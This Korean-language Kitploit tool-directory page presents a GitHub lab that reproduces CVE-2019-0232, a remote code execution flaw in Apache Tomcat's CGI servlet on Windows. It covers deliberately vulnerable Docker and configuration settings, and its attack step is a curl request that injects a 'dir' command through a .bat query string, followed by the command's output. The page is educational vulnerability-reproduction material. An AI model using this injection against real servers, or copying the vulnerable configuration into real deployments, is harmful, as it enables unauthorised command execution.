Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Preproduce-CVE-2019-0232 | Kitploit
도구/GitHubGitHub/luongchivi/preproduce-cve-2019-0232
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubluongchivi/preproduce-cve-2019-0232

Preproduce-CVE-2019-0232

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-0232 - Apache Tomcat CGI 서블릿 원격 코드 실행

이 저장소는 Windows에서 Apache Tomcat 9.0.17의 CVE-2019-0232 취약점을 재현하기 위한 Docker 기반 실습 환경을 제공합니다.

취약점 개요

CVE-2019-0232는 Windows에서 실행되는 Apache Tomcat CGI 서블릿의 원격 코드 실행 취약점입니다. 이 문제는 enableCmdLineArguments 매개변수가 true로 설정된 경우 명령줄 인수가 제대로 처리되지 않아 발생합니다. 공격자는 쿼리 문자열을 통해 CGI 스크립트에 임의의 인수를 전달하여 시스템 명령을 실행할 수 있습니다.

  • 영향을 받는 버전: Apache Tomcat 9.0.0.M1 ~ 9.0.17
  • 수정된 버전: 9.0.18 이상
  • 필요 조건:
    • Windows 운영 체제
    • CGI 서블릿 구성에서 enableCmdLineArguments=true
    • CGI 서블릿이 활성화되고 URL 패턴에 매핑되어 있어야 함

실습 환경

디렉터리 구조

root@kitploit:~
tomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
	├── apache-tomcat-9.0.17-windows-x64.zip
    └── apache-tomcat-9.0.17
        ├── conf
        │   └── context.xml              ← (privileged="true")
        └── webapps
            └── ROOT
                └── WEB-INF
                    ├── web.xml           ← (CGI configuration)
                    └── cgi-bin
                        └── test.bat      ← (.bat script)

구성 파일

  • context.xml: 웹 애플리케이션이 CGI 서블릿을 사용할 수 있도록 privileged="true"를 설정합니다.
  • web.xml: enableCmdLineArguments=true로 CGI 서블릿을 정의하고 /cgi-bin/*에 매핑합니다.
  • test.bat: 환영 메시지를 반환하는 간단한 배치 스크립트입니다.

시작하기

사전 요구 사항

  • Docker(Windows 컨테이너 모드)
  • Docker Compose

빌드 및 실행

root@kitploit:~
docker-compose build --no-cache
docker-compose up -d

공격 단계

root@kitploit:~
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"

Welcome to CGI Test Page
 Volume in drive C has no label.
 Volume Serial Number is 3E70-7C38

 Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin

07/12/2026  11:45 AM    <DIR>          .
07/12/2026  11:45 AM    <DIR>          ..
07/12/2026  12:25 PM                78 test.bat
               1 File(s)             78 bytes
               2 Dir(s)  136,027,971,584 bytes free
도구 다운로드